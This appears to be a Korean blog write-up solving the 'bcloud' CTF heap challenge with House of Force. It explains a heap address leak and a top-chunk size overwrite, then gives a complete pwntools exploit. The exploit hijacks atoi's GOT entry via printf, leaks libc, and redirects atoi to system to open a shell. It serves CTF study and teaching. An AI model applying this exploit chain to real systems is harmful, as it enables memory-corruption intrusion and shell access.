House of Force를 이용한 문제 중 하나인 bcloud에 관해서 글을 써보겠다.
House of Force와 Memory Leak에 관한 정보를 가지고 있다면 문제를 쉽게 풀 수 있다.
그럼 ida로 바이너리를 분석을 해보자.(※함수명은 작성자가 알아보기 쉽게 변경함)
main을 보면
여러가지 메뉴들이 보인다
print_menu()를 해주기 전에 보면 input_collection이라는 함수를 거치고 지나간다.
input_collection함수를 보면
두가지의 함수가 있는데 input_name은 name을 입력을 받고
input_host_org는 host와org를 입력을 받는다.
그럼 input_name부터 확인을 해보자
input_name함수안을 보면 s에 64바이트 만큼 입력을 받고
v2에 malloc을 64만큼 한다음 s에 있는 값을 v2에 옮기는 것을 볼 수 있다.
이곳에서는 메모리릭이 가능한데 s를 꽉채우면 v2에 있는 heap의 주소값을 알 수 있다.
이번에는 input_host_org함수를 확인 해보자.
이곳에도 s,v3에 값을 입력을 받는 것을 알 수 있다.
이곳에서도 64비트씩 꽉꽉 채워서 입력을 받으면 메모리릭이 가능한 것을 알 수 있다.
name부분에서는 heap의 주소값을 릭을 할 수 있었다면 이번에는 Top Chunk의 사이즈를 조작을 할 수 있다.(House of Force)
GDB로 메모리에 어떻게 값이 들어가는지 확인을 해보자.
org부분에 A로 꽉 채워넣으면 s와 org,v3가 가득 찰 것이다.
그런데 v3에는 host에 넣어준 값 \xff\xff\xff\xff가 있기 때문에 Top Chunk의 사이즈가 0xffffffff으로 바뀌는 것이다.
그럼 house of force를 이용해서 원하는 주소까지 값을 넣을 수 있게 되었다.
2018/03/08 - [SYSTEM HACKING/기법] - [How2Heap] House of Force
이번에는 main메뉴의 add함수를 보겠다.
메뉴의 다른 함수들은 문제 풀 때 사용 하지 않기 때문에 pass
원하는 만큼의 malloc과 content를 입력을 할 수 있다.
malloc에 원하는 크기에 +4를 해주는 것을 유의하자.
그럼 익스플로잇만 하면 문제는 풀린다.
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | #!/usr/bin/python from pwn import * p = process('./bcloud') e = ELF('./bcloud') raw_input() #Memory Leak p.recvuntil('Input your name:') p.send("A"*64) #Leak Heap Addr p.recvuntil("A"*64) heap = u32(p.recv(4)) topchunk = heap+0xd8 wannaddr = ((e.got['atoi']-topchunk)-0xc) print "[*]Leak Heap Addr:",hex(heap) print "[*]Top Chunk Addr:",hex(topchunk) print "[*]Malloc Size :",hex(wannaddr) #Memory Leak p.recvuntil("Org:") p.send("A"*64) #Memory Leak p.recvuntil("Host:") p.sendline("\xff\xff\xff\xff") #House_of_Force p.recvuntil(">>\n") p.sendline("1") p.recvuntil("Input the length of the note content:") p.sendline(str(wannaddr)) #Atoi's GOT -> Printf's PLT p.recvuntil(">>\n") p.sendline("1") p.recvuntil(":\n") p.sendline("8") p.recvuntil(":\n") p.sendline("A"*4+p32(e.plt['printf'])) p.recv(1024) #Format String Bug p.sendline("%p "*20) p.recvuntil("0x10 0xa ") raw_input() leak = int(p.recv(10),16)-38 print "[*]Leak Data :",hex(leak) base = leak - 0x49670 print "[*]Base Addr :",hex(base) system = base+0x3ada0 print "[*]System Addr:",hex(system) #Atoi's GOT -> System Addr p.sendlineafter(">>\n","333") p.sendlineafter(":\n","1") p.sendlineafter(":\n","aaaa"+p32(system)) p.sendline("/bin/sh\x00") #Get shell p.interactive() | cs |
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
| 2018 Codegate - Melong (0) | 2018.05.10 |
|---|---|
| HITCON 2014 stkof (0) | 2018.03.19 |
| Hack.lu CTF 2014 - oreo (2) | 2018.03.10 |
| 2018 Codegate - Super marimo (0) | 2018.02.14 |
| HarekazeCTF 2018 - Harekaze Farm (Pwn) (0) | 2018.02.12 |